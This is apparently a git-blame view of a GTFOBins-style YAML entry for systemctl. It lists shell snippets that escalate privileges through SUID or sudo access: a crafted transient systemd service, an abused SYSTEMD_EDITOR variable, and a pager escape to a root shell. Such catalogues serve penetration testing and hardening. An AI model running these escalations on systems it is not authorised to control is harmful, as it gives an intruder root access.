2019-01-29 14:12:29 +01:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
suid:
|
|
|
|
- code: |
|
|
|
|
TF=$(mktemp).service
|
|
|
|
echo '[Service]
|
2019-01-29 14:25:16 +01:00
|
|
|
Type=oneshot
|
|
|
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
|
|
|
[Install]
|
|
|
|
WantedBy=multi-user.target' > $TF
|
2019-01-29 14:12:29 +01:00
|
|
|
./systemctl link $TF
|
|
|
|
./systemctl enable --now $TF
|
|
|
|
sudo:
|
2019-07-02 18:14:29 +02:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo /bin/sh >$TF
|
|
|
|
chmod +x $TF
|
|
|
|
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
|
2019-01-29 14:12:29 +01:00
|
|
|
- code: |
|
|
|
|
TF=$(mktemp).service
|
|
|
|
echo '[Service]
|
2019-01-29 14:25:16 +01:00
|
|
|
Type=oneshot
|
|
|
|
ExecStart=/bin/sh -c "id > /tmp/output"
|
|
|
|
[Install]
|
|
|
|
WantedBy=multi-user.target' > $TF
|
2019-01-29 14:12:29 +01:00
|
|
|
sudo systemctl link $TF
|
|
|
|
sudo systemctl enable --now $TF
|
2019-04-16 15:41:32 +02:00
|
|
|
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
|
|
|
|
code: |
|
|
|
|
sudo systemctl
|
|
|
|
!sh
|
2023-10-06 11:58:11 +02:00
|
|
|
code: |
|
|
|
|
sudo /usr/bin/systemctl status any.service
|
|
|
|
!sh
|
2019-01-29 14:12:29 +01:00
|
|
|
---
|